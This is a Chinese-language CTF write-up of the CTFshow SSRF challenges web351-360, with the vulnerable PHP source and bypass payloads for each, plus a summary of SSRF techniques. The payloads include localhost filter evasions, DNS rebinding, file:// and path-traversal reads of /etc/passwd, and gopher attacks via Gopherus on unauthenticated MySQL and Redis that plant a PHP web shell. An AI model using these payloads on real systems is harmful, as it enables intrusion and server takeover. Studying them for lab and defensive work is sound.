资讯专栏INFORMATION COLUMN

CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结

Labradors / 1145人阅读

摘要:基础服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。可以先截获请求包和请求包,再构造成符合协议的请求。该标志接受和值。

SSRF基础

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

相关函数和类

  • file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
  • readfile():输出一个文件的内容
  • fsockopen():打开一个网络连接或者一个Unix 套接字连接
  • curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
  • fopen():打开一个文件文件或者 URL
  • PHP原生类SoapClient在触发反序列化时可导致SSRF

相关协议

  • file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
  • dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
  • http/s协议:探测内网主机存活

利用方式

1.让服务端去访问相应的网址

2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms

3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件

4.攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload})

5.攻击内网应用程序(利用跨协议通信技术)

6.判断内网主机是否存活:方法是访问看是否有端口开放

7.DoS攻击(请求大文件,始终保持连接keep-alive always)

web351-无过滤

error_reporting(0);highlight_file(__FILE__);$url=$_POST["url"];$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);?># curl_init — 初始化 cURL 会话    # curl_setopt — 设置一个cURL传输选项# curl_exec — 执行 cURL 会话# curl_close — 关闭 cURL 会话

直接访问 flag.php 提示:非本地用户禁止访问

payload:post: url=http://127.0.0.1/flag.php或者使用 file 伪协议去读取文件post: url=file:///var/www/html/index.php 查看源码

web352-无过滤

error_reporting(0);highlight_file(__FILE__);$url=$_POST["url"];$x=parse_url($url);if($x["scheme"]==="http"||$x["scheme"]==="https"){if(!preg_match("/localhost|127.0.0/")){$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);}else{    die("hacker");}}else{    die("hacker");}

代码中虽然是有过滤但是去没有用。。。

url=http://localhost/flag.phpurl=http://127.0.0.1/flag.php都可以拿到 flag

web353-简单绕过

if(!preg_match("/localhost|127/.0/.|/。/i", $url)){}

payload

ip地址进制转换

127.0.0.1十进制整数:url=http://2130706433/flag.php十六进制:url=http://0x7F.0.0.1/flag.php八进制:url=http://0177.0.0.1/flag.php十六进制整数:url=http://0x7F000001/flag.php

其他方法

缺省模式:127.0.0.1写成127.1CIDR:url=http://127.127.127.127/flag.phpurl=http://0/flag.phpurl=http://0.0.0.0/flag.php

web354-过滤01

if(!preg_match("/localhost|1|0|。/i", $url))

方法一:域名指向127

在自己的域名中添加一条A记录指向 127.0.0.1

或者使用 http://sudo.cc这个域名就是指向127.0.0.1

方法二:302跳转

在自己的网站页面添加

header("Location:http://127.0.0.1/flag.php");

重定向到127

方法三:DNS-Rebinding

自己去ceye.io注册绑定127.0.0.1然后记得前面加r

url=http://r.xxxzc8.ceye.io/flag.php

查看 profile

如果 ceye 域名中有 1,这题就用不了这种方法了

web355-五位长度host

$url=$_POST["url"];$x=parse_url($url);if($x["scheme"]==="http"||$x["scheme"]==="https"){$host=$x["host"];if((strlen($host)<=5)){

host 长度小于等于 5 位

先来了解下 parse_url 函数

解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分数组中可能的键有以下几种:scheme - 如 httphostportuserpasspathquery - 在问号 ? 之后fragment - 在散列符号 # 之后    # 例:<?php$url = "http://username:password@hostname/path?arg=value#anchor";print_r(parse_url($url));echo parse_url($url, PHP_URL_PATH);?>    # 输出Array(    [scheme] => http    [host] => hostname    [user] => username    [pass] => password    [path] => /path    [query] => arg=value    [fragment] => anchor)/path

payload

url=http://127.1/flag.php127.1整好五位

web356-三位长度host

if((strlen($host)<=3)){

payload

url=http://0/flag.php# 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web357-302跳转/DNSrebinding

error_reporting(0);highlight_file(__FILE__);$url=$_POST["url"];$x=parse_url($url);if($x["scheme"]==="http"||$x["scheme"]==="https"){$ip = gethostbyname($x["host"]);echo "
"
.$ip."
"
;if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die("ip!");}echo file_get_contents($_POST["url"]);}else{ die("scheme");}

先来看下 gethostbyname 函数

gethostbyname — 返回主机名对应的 IPv4地址

filter_var()

# php filter函数filter_var()	获取一个变量,并进行过滤filter_var_array()	获取多个变量,并进行过滤......# PHP 过滤器FILTER_VALIDATE_IP	把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4IPV6 值。

因为代码中使用了 gethostbyname 获取了真实 IP 地址,所以域名指向方法不能再使用,可以使用 302 跳转方法和 dns rebinding 方法

DNS rebinding(DNS重新绑定攻击)

攻击重点在于DNS服务能够在两次DNS查询中返回不用的IP地址,第一次是真正的IP,第二次是攻击目标IP地址,甚至可以通过这种攻击方法绕过同源策略

回到题目,在题目代码中一共对域名进行了两次请求,第一次是 gethostbyname 方法,第二次则是 file_get_contents 文件读取,可以通过 ceye.io 来实现攻击,DNS Rebinding 中设置两个 IP,一个是 127.0.0.1 另一个是随便可以访问的 IP

payload

url=http://r.自己的域名.ceye.io/flag.php# 注意前边要加上r.# 多次尝试

web358-正则匹配

error_reporting(0);highlight_file(__FILE__);$url=$_POST["url"];$x=parse_url($url);if(preg_match("/^http:////ctf/..*show$/i",$url)){    echo file_get_contents($url);}

url 字符串要以 http://ctf开头,show结尾

payload:url=http://ctf.@127.0.0.1/flag.php#showurl=http://ctf.@127.0.0.1/flag.php?show

攻击内网其他服务

web359-打mysql

题目提示:打无密码的mysql

一个登录界面,点击登录,抓包发现可疑参数 returl 存在 SSRF

使用 gopher 协议去打 mysql

用 gopherus 工具生成 payload

python2 ./gopherus.py --exploit mysqlusername:root写入一句话木马select "$_POST["cmd"]);?>" into outfile "/var/www/html/2.php";

将 _ 下划线后面的内容再进行一次 url 编码(防止出现特殊字符,后端 curl 接收到参数后会默认解码一次)

访问2.php,执行命令

web360-打redis

提示:打redis

error_reporting(0);highlight_file(__FILE__);$url=$_POST["url"];$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);?>

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器

简单说,漏洞的产生条件有以下两点:

  • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务

懒人方法就是接着用工具生成 payload

python2 ./gopherus.py --exploit redis

需要把 _ 后边的字符串再进行一次 url 编码

默认会生成 shell.php 文件

补充

其他绕过127的方法

  1. 如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com http://www.evil.com/

  2. http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有 http://nip.io,http://sslip.io

  3. 短网址目前基本都需要登录使用,如缩我,https://4m.cn/

  4. 各种指向127.0.0.1的地址

    http://localhost/         # localhost就是代指127.0.0.1http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行http://[::]:80/           # 在liunx下可用,window测试了下不行http://127。0。0。1/       # 用中文句号绕过http://①②⑦.⓪.⓪.①http://127.1/http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)

// ssrf.php<?phphighlight_file(__FILE__);if(!preg_match("/^https/is",$_GET["url"])){die("no hack");}echo file_get_contents($_GET["url"]);?>

上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:

httpsssss://

此时file_get_contents()函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:

ssrf.php?url=httpsssss://../../../../../../etc/passwd

URL解析差异

1.readfile和parse_user函数解析差异绕过指定端口

$url = "http://". $_GET[url];$parsed = parse_url($url);if( $parsed[port] == 80 ){  // 这里限制了我们传过去的url只能是80端口的	readfile($url);} else {	die("Hacker!");}

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过

ssrf.php?url=127.0.0.1:11211:80/flag.txt

可以成功读取11211端口flag.txt文件,原理如下图

两个函数解析host也存在差异

利用这种差异的不同,可以绕过题目中parse_url()函数对指定host的限制

2.利用curl和parse_url的解析差异绕过指定host

Gopher协议

前边的题 payload 都是直接用的脚本生成的,很脚本小子,但是却没学到啥

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口

Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面

Gopher协议格式

URL: gopher://:/_后接TCP数据流# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
  • 如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

利用Gopher协议发送HTTP请求

步骤

在gopher协议中发送HTTP的数据,需要以下三步:1.抓取或构造HTTP数据包2.URL编码、将回车换行符%0a替换为%0d%0a3.发送符合gopher协议格式的请求

注意这几个问题:

  1. 问号(?)需要转码为URL编码,也就是%3f
  2. 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

攻击内网FastCGI

https://www.freebuf.com/articles/web/260806.html

这篇文章写的超级详细,上边的很多内容也是参考了这篇文章

参考链接

https://www.freebuf.com/articles/web/260806.htmlhttps://www.freebuf.com/articles/web/263512.htmlhttps://blog.csdn.net/solitudi/article/details/112510010

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/121452.html

相关文章

  • CTFshow刷题日记-WEB-反序列化篇(上,254-263)

    摘要:非反序列化简单审计这个题是搞笑的么按着源码顺序走一遍接受两个参数生成对象调用函数函数伪造请求需要伪造头这题和反序列化没关系。。。如果存在该方法将在任何序列化之前优先执行。 ...

    番茄西红柿 评论0 收藏2637
  • CTFshow刷题日记-WEB-黑盒测试(web380-395)文件包含、日志包含getshell、

    web380-扫目录文件包含 扫目录,存在page.php 访问发现报错,$id参数,可能存在文件包含 /page.php?id=flag web381-读源码找后台地址 page.php已经无法文件包含 看源码有一个可疑的路径 访问这个目录,最后注意一定要带上/ web382-383弱口令加万能密码 上题的/alsckdfy/目录访问之后是个登录界面 burp抓包爆破就行了,p字段,这...

    xeblog 评论0 收藏0
  • CTFshow刷题日记-WEB-JWT(web345-350)

    JWT JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔 HeaderPayloadSignature header示例 { 'typ': 'JWT', 'alg': 'HS256'}# typÿ...

    番茄西红柿 评论0 收藏2637
  • CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏

    摘要:全部题都是框架漏洞是用语言编写的一个基于设计模式的应用框架关于漏洞,都有环境并且给出了漏洞原理和项目地址判断网站是否基于的方法链接通过页面回显的错误消息来判断,页面不回显错误消息时则无效通过网页后缀来判断,如,有可能不 ...

    jindong 评论0 收藏0
  • 刷题[De1CTF 2019]ShellShellShell

    摘要:如果成功,这将是一个管理员认证的会话。参数以的方式来指定参数内容,如果值是一个文件,则需要以的方式来指定。 关键字:sql注入,反序列化原生类,ssrf,绕过unl...

    pf_miles 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<